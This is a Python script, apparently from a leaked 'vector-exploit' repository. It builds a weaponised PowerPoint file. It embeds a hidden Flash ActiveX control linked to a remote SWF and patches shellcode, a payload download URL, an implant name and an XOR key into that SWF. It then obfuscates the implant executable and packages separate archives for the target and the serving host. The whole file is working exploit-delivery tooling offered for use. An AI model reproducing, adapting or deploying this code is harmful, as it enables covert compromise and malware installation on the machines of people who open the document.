hackedteam/vector-exploit

View on GitHub
src/exploit_vps/html/admin/2013-003-PowerPoint/exploit.py

Summary

Maintainability
F
1 wk
Test Coverage
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
import zipfile
import time

random.seed()
def random_id(length):
    number = '0123456789'
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    id = ''
    for i in range(0,length,2):
        id += random.choice(number)
        id += random.choice(alpha)
    return id 

def four_byte_xor(buf, key):
    out = ''
    for i in range(0,len(buf)/4):
        c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
        c ^= key
        out += struct.pack("<I", c)

    reminder = len(buf) % 4
    for i in range(len(buf)-reminder, len(buf)):
        c =  struct.unpack("B", buf[i])[0]
        c ^= 0x41            
        out += struct.pack("B", c)
    return out

SWF_RANDOM_NAME = random_id(12) + ".swf"
EXE_RANDOM_NAME = random_id(12) + ".dat"

if sys.argv[2][-1] == "/":
    EXE_URL = sys.argv[2] + EXE_RANDOM_NAME
    SWF_URL = sys.argv[2] + SWF_RANDOM_NAME
else:
    EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME
    SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME
   
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME
SCOUT_NAME = sys.argv[8]
input_file = sys.argv[4]
output_file = sys.argv[5]
send_to_target_zip = sys.argv[3]
send_to_server_zip = sys.argv[7]
INPUT_SCOUT = sys.argv[6]
XOR_KEY = random.randint(0xdead, 0xdeadbeef)
exploit_file = "exploit.swf"


print SCOUT_NAME
print EXE_URL
print SWF_URL
print EXE_RANDOM_NAME
print SWF_RANDOM_NAME
print input_file
print output_file
print send_to_target_zip
print send_to_server_zip
print INPUT_SCOUT


def byteArray2String(param):
    with warnings.catch_warnings():
            warnings.simplefilter('ignore')
            tmp = os.tempnam()

    f = open(tmp, 'wb')
    f.write(param)
    f.close()
    
    f = open(tmp, 'rb')
    result = f.read()
    f.close()
    
    try:
        os.unlink(tmp)
    except WindowsError:
        print "I/O error when deleting %s file"%(tmp)
    
    return result
    
def create_ppt():
    # unpack zip file
    if not os.path.exists("tmp"):
        os.mkdir("tmp")

    myzip = ZipFile(input_file)
    myzip.extractall("tmp")
    myzip.close()


    # update content types
    buff = open("tmp/[Content_Types].xml", 'r').read()
    idx = buff.lower().find("<types")
    idx2 = buff[idx:].lower().find(">") + 1

    buff2 = buff[:idx+idx2]
    if buff.lower().find("vnd.ms-office.activex") == -1:
        buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
    if buff.lower().find("image/x-wmf") == -1:
        buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
    if buff.lower().find("application/vnd.openxmlformats-officedocument.vmldrawing") == -1:
        buff2 += '<Default ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing" Extension="vml"/>'

    buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/ppt/activeX/activeX1.xml"/>'
    buff2 += buff[idx+idx2:]
    open("tmp/[Content_Types].xml", 'w').write(buff2)

    # update slide1 rels
    buff = open("tmp/ppt/slides/_rels/slide1.xml.rels", 'r').read()
    idx = buff.lower().find("</relationships>")

    buff2 = buff[:idx]
    buff2 += '<Relationship Target="../activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/>'
    buff2 += '<Relationship Target="../drawings/vmlDrawing1003.vml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Id="rId1001"/>'
    buff2 += '<Relationship Target="../media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1002"/>'
    buff2 += "</Relationships>"
    open("tmp/ppt/slides/_rels/slide1.xml.rels", 'w').write(buff2)

    # update slide1
    buff = open("tmp/ppt/slides/slide1.xml", 'r').read()
    #idx = buff.lower().find("</w:body")
    #idx2 = 0
    idx = buff.lower().find("</p:sptree")
    idx2 = buff[idx:].lower().find(">") + 1

    buff2 = buff[:idx+idx2]
    buff2 += '    <p:controls>      <mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006">        <mc:Choice xmlns:v="urn:schemas-microsoft-com:vml" Requires="v">          <p:control spid="1026" name="ShockwaveFlash1" r:id="rId1000" imgW="1440" imgH="1440"/>        </mc:Choice>        <mc:Fallback>          <p:control name="ShockwaveFlash1" r:id="rId1000" imgW="1440" imgH="1440">            <p:pic>              <p:nvPicPr>                <p:cNvPr id="0" name="ShockwaveFlash1"/>                <p:cNvPicPr preferRelativeResize="0">                  <a:picLocks noChangeArrowheads="1" noChangeShapeType="1"/>                </p:cNvPicPr>                <p:nvPr/>              </p:nvPicPr>              <p:blipFill>                <a:blip r:embed="rId1002">                  <a:extLst>                    <a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">                      <a14:useLocalDpi xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0"/>                    </a:ext>                  </a:extLst>                </a:blip>                <a:srcRect/>                <a:stretch>                  <a:fillRect/>                </a:stretch>              </p:blipFill>              <p:spPr bwMode="auto">                <a:xfrm>                  <a:off x="0" y="0"/>                  <a:ext cx="1588" cy="1588"/>                </a:xfrm>                <a:prstGeom prst="rect">                  <a:avLst/>                </a:prstGeom>                <a:noFill/>                <a:ln w="9525">                  <a:miter lim="800000"/>                  <a:headEnd/>                  <a:tailEnd/>                </a:ln>                <a:effectLst/>                <a:extLst>                  <a:ext uri="{AF507438-7753-43E0-B8FC-AC1667EBCBE1}">                    <a14:hiddenEffects xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main">                      <a:effectLst>                        <a:outerShdw dist="35921" dir="2700000" algn="ctr" rotWithShape="0">                          <a:schemeClr val="bg2"/>                        </a:outerShdw>                      </a:effectLst>                    </a14:hiddenEffects>                  </a:ext>                </a:extLst>              </p:spPr>            </p:pic>          </p:control>        </mc:Fallback>      </mc:AlternateContent>    </p:controls>'
    #buff2 += '<p:controls><p:control spid="1026" name="ShockwaveFlash1" r:id="rId1000" imgW="1440" imgH="1440"/></p:controls>'
    
    buff2 += buff[idx+idx2:]
    open("tmp/ppt/slides/slide1.xml", 'w').write(buff2)

    if os.path.exists("tmp/ppt/activeX"):
        print "[!!] Unsupported file: contains an ActiveX"
        sys.exit(-1);

    if not os.path.exists("tmp/ppt/activeX/"):
        shutil.copytree("resources/activeX/", "tmp/ppt/activeX/")

    if not os.path.exists("tmp/ppt/media/"):
        shutil.copytree("resources/media/", "tmp/ppt/media/")
    else:
        shutil.copy("resources/media/image1000.wmf", "tmp/ppt/media/")
        #shutil.copy("resources/media/image1001.wmf", "tmp/ppt/media/")

    if not os.path.exists("tmp/ppt/drawings/"):
        shutil.copytree("resources/drawings/", "tmp/ppt/drawings/")
    else:
        shutil.copy("resources/drawings/vmlDrawing1003.vml", "tmp/ppt/drawings/")
        shutil.copy("resources/drawings/_rels/vmlDrawing1003.vml.rels", "tmp/ppt/drawings/_rels/")
        
random.seed()
create_ppt()

XOR_OFFT = 0x80 * 2
URL_OFFT = XOR_OFFT + (0x4*2)
SCOUT_OFFT = 0x108 * 2

# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])

# replace
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")

# get offset to shellcode
stage2_offset = swf_buff.find(b"00000000000000006408908F")
if stage2_offset == 0:
    print "[!!] Gadget for shellcode not found"
    sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)

swf_bytearray = bytearray(swf_buff)

# replace shellcode
shellcode = open("resources/shellcode", 'rb').read()
if len(shellcode) > 5800:
       print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
       sys.exit(-1)

hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
    swf_bytearray[stage2_offset + i] = hex_shellcode[i]

# modify URL
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
    swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]

# modify scout name
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
    swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i]

# modify xor key
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)

swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]

# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d") 
uncompressed_len += 4 # + se stessa

print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))

compressed_len = len(lzma_buff) - 5
print "[+] Compressed len: 0x%x" %(compressed_len)

output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write it 
open(SWF_RANDOM_NAME, 'wb').write(output_buff)

# modify ole link
ole_link_buff = open("tmp/ppt/activeX/activeX1.bin", 'rb').read()
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
print "[+] Offset to first link: 0x%x" %(ole_link_offt)

ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1) 
print "[+] Offset to second link: 0x%x" %(ole_link2_offt)

swf_url_bytearray = bytearray(SWF_URL + "\x00\x00")
ole_link_bytearray = bytearray(ole_link_buff)
for i in range(len(ole_link_bytearray)):
    #if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
    if i == ole_link_offt or i == ole_link2_offt:
        y = 0
        for x in range(len(swf_url_bytearray)):
            ole_link_bytearray[i+y] = swf_url_bytearray[x]
            ole_link_bytearray[i+y+1] = 0x0
            y += 2

# dump modified ole link            
open("tmp/ppt/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))


# create docx
cwd = os.getcwd()                        
os.chdir(cwd + "/tmp")
os.system("zip -r ../tmp.zip *")
os.chdir(cwd)
shutil.move("tmp.zip", output_file)

# zip per target
os.system("zip -r \"" + send_to_target_zip + "\" \"" + output_file + "\"")
#shutil.move(send_to_target_zip + ".zip", send_to_target_zip)

# zip per server
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME)
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY))
os.system("zip \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME)